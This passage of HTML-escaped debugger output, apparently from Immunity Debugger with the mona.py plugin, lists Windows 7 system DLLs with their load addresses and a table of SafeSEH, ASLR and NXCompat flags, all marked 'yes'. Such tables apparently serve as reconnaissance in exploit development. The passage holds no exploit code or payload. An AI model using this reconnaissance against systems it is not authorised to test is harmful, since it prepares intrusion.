73750000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\wkscli.dll&lt;br /&gt;
73760000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\netutils.dll&lt;br /&gt;
73890000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\WindowsCodecs.dll&lt;br /&gt;
73990000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\XmlLite.dll&lt;br /&gt;
739C0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\dwmapi.dll&lt;br /&gt;
739E0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\MMDevApi.dll&lt;br /&gt;
73A20000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\HID.DLL&lt;br /&gt;
73A50000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\hcproviders.dll&lt;br /&gt;
73A60000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\msiltcfg.dll&lt;br /&gt;
73A70000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\DUser.dll&lt;br /&gt;
73AA0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\DUI70.dll&lt;br /&gt;
73B60000&amp;nbsp;&amp;nbsp; Modules C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.16385_none_72fc7cbf861225ca\gdiplus.dll&lt;br /&gt;
73CF0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\UxTheme.dll&lt;br /&gt;
73D30000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\PROPSYS.dll&lt;br /&gt;
73E30000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\SAMLIB.dll&lt;br /&gt;
73E50000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\Syncreg.dll&lt;br /&gt;
73E60000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\IconCodecService.dll&lt;br /&gt;
73E70000&amp;nbsp;&amp;nbsp; Modules C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7600.16661_none_420fe3fa2b8113bd\comctl32.dll&lt;br /&gt;
74010000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\CRYPTUI.dll&lt;br /&gt;
74110000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\authui.dll&lt;br /&gt;
74340000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\WTSAPI32.dll&lt;br /&gt;
74410000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\VERSION.dll&lt;br /&gt;
74570000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\USERENV.dll&lt;br /&gt;
74750000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\DEVRTL.dll&lt;br /&gt;
74770000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\rsaenh.dll&lt;br /&gt;
74850000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\dnsapi.DLL&lt;br /&gt;
74990000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\MSWSOCK.dll&lt;br /&gt;
749D0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\CRYPTSP.dll&lt;br /&gt;
74B90000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\wevtapi.dll&lt;br /&gt;
74DA0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\srvcli.dll&lt;br /&gt;
74E10000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\Secur32.dll&lt;br /&gt;
74E30000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\SSPICLI.DLL&lt;br /&gt;
74E50000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\apphelp.dll&lt;br /&gt;
74EA0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\CRYPTBASE.dll&lt;br /&gt;
74EB0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\SXS.DLL&lt;br /&gt;
74F10000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\WINSTA.dll&lt;br /&gt;
74F40000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\RpcRtRemote.dll&lt;br /&gt;
74F50000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\profapi.dll&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Invalid or compressed Image Export Directory&lt;br /&gt;
74FC0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\MSASN1.dll&lt;br /&gt;
75060000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\CRYPT32.dll&lt;br /&gt;
75180000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\WINTRUST.dll&lt;br /&gt;
751B0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\CFGMGR32.dll&lt;br /&gt;
751E0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\KERNELBASE.dll&lt;br /&gt;
75230000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\DEVOBJ.dll&lt;br /&gt;
75250000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\NSI.dll&lt;br /&gt;
75260000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\ole32.dll&lt;br /&gt;
753C0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\GDI32.dll&lt;br /&gt;
75470000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\WININET.dll&lt;br /&gt;
75570000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\RPCRT4.dll&lt;br /&gt;
75620000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\kernel32.dll&lt;br /&gt;
75700000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\OLEAUT32.dll&lt;br /&gt;
75790000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\urlmon.dll&lt;br /&gt;
758D0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\PSAPI.DLL&lt;br /&gt;
758E0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\USER32.dll&lt;br /&gt;
759B0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\WS2_32.dll&lt;br /&gt;
759F0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\MSCTF.dll&lt;br /&gt;
75AC0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\IMM32.dll&lt;br /&gt;
75AE0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\SYSTEM32\sechost.dll&lt;br /&gt;
75B80000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\SETUPAPI.dll&lt;br /&gt;
75D20000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\CLBCatQ.DLL&lt;br /&gt;
75DB0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\msvcrt.dll&lt;br /&gt;
75E60000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\USP10.dll&lt;br /&gt;
75F00000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\SHLWAPI.dll&lt;br /&gt;
75F60000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\SHELL32.dll&lt;br /&gt;
76BB0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\WLDAP32.dll&lt;br /&gt;
76C00000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\iertutil.dll&lt;br /&gt;
76E00000&amp;nbsp;&amp;nbsp; Modules C:\Windows\SYSTEM32\ntdll.dll&lt;br /&gt;
76F40000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\LPK.dll&lt;br /&gt;
76F50000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\Normaliz.dll&lt;br /&gt;
76F60000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\ADVAPI32.dll&lt;br /&gt;
76E33574&amp;nbsp;&amp;nbsp; [10:17:20] Attached process paused at ntdll.DbgBreakPoint&lt;br /&gt;
0BADF00D&lt;br /&gt;
0BADF00D&lt;br /&gt;
0BADF00D&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp; ** [+] Gathering executable / loaded module info, please wait...&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp; ** [+] Finished task, 170 modules found&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp; ----------------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp; Loaded modules&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp; ----------------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Fixup&amp;nbsp; |&amp;nbsp;&amp;nbsp; Base&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; Top&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; Size&amp;nbsp;&amp;nbsp;&amp;nbsp; | SafeSEH | ASLR&amp;nbsp; | NXCompat | OS Dll | Version, Modulename &amp;amp; Path&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp; ----------------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x72010000 | 0x72045000 | 0x00035000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - framedynos.dll : C:\Windows\System32\framedynos.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74990000 | 0x749CC000 | 0x0003C000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - MSWSOCK.dll : C:\Windows\system32\MSWSOCK.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x72400000 | 0x72478000 | 0x00078000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - timedate.cpl : C:\Windows\system32\timedate.cpl&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6ECD0000 | 0x6ECD9000 | 0x00009000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - LINKINFO.dll : C:\Windows\system32\LINKINFO.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74FC0000 | 0x74FCC000 | 0x0000C000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16415 - MSASN1.dll : C:\Windows\system32\MSASN1.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6E4B0000 | 0x6E4B5000 | 0x00005000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - SHFOLDER.dll : C:\Windows\system32\SHFOLDER.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71970000 | 0x71A04000 | 0x00094000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 5.41.21.2509 - MsftEdit.dll : C:\Windows\system32\MsftEdit.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x736D0000 | 0x736FA000 | 0x0002A000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 3.10.349.0 - msls31.dll : C:\Windows\system32\msls31.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x739C0000 | 0x739D3000 | 0x00013000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - dwmapi.dll : C:\Windows\system32\dwmapi.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x730F0000 | 0x7316B000 | 0x0007B000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - taskschd.dll : C:\Windows\system32\taskschd.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6F050000 | 0x6F081000 | 0x00031000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - EhStorShell.dll : C:\Windows\system32\EhStorShell.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x72FA0000 | 0x72FAA000 | 0x0000A000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - slc.dll : C:\Windows\system32\slc.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71FC0000 | 0x71FE7000 | 0x00027000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - twext.dll : C:\Windows\system32\twext.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x734F0000 | 0x734FA000 | 0x0000A000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 08.01.02.00 - wwapi.dll : C:\Windows\system32\wwapi.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x65870000 | 0x65976000 | 0x00106000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - werconcpl.dll : C:\Windows\System32\werconcpl.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73710000 | 0x73718000 | 0x00008000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - ehSSO.dll : C:\Windows\ehome\ehSSO.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73650000 | 0x7366D000 | 0x0001D000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - wpdshserviceobj.dll : C:\Windows\system32\wpdshserviceobj.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x76C00000 | 0x76DFA000 | 0x001FA000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 8.00.7600.16700 - iertutil.dll : C:\Windows\system32\iertutil.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73D30000 | 0x73E25000 | 0x000F5000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 7.00.7600.16385 - PROPSYS.dll : C:\Windows\system32\PROPSYS.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74B90000 | 0x74BD2000 | 0x00042000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - wevtapi.dll : C:\Windows\System32\wevtapi.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x724B0000 | 0x724E9000 | 0x00039000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - stobject.dll : C:\Windows\system32\stobject.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x713F0000 | 0x713F7000 | 0x00007000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - WINNSI.DLL : C:\Windows\System32\WINNSI.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75260000 | 0x753BC000 | 0x0015C000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - ole32.dll : C:\Windows\system32\ole32.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75F00000 | 0x75F57000 | 0x00057000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - SHLWAPI.dll : C:\Windows\system32\SHLWAPI.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x72F50000 | 0x72F97000 | 0x00047000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 2001.12.8530.16385 - es.dll : C:\Windows\system32\es.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x758E0000 | 0x759A9000 | 0x000C9000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - USER32.dll : C:\Windows\system32\USER32.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x65BB0000 | 0x65C82000 | 0x000D2000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - fxsst.dll : C:\Windows\system32\fxsst.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6D7B0000 | 0x6D7CB000 | 0x0001B000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - UIAnimation.dll : C:\Windows\System32\UIAnimation.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6ECB0000 | 0x6ECC2000 | 0x00012000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - MPR.dll : C:\Windows\system32\MPR.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74010000 | 0x74108000 | 0x000F8000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - CRYPTUI.dll : C:\Windows\system32\CRYPTUI.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75180000 | 0x751AD000 | 0x0002D000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16493 - WINTRUST.dll : C:\Windows\system32\WINTRUST.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73890000 | 0x7398B000 | 0x000FB000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - WindowsCodecs.dll : C:\Windows\system32\WindowsCodecs.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73720000 | 0x7373E000 | 0x0001E000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - shacct.dll : C:\Windows\System32\shacct.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73570000 | 0x735AC000 | 0x0003C000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 7.0.0.0 - OLEACC.dll : C:\Windows\System32\OLEACC.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75F60000 | 0x76BA9000 | 0x00C49000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - SHELL32.dll : C:\Windows\system32\SHELL32.dll&lt;br /&gt;
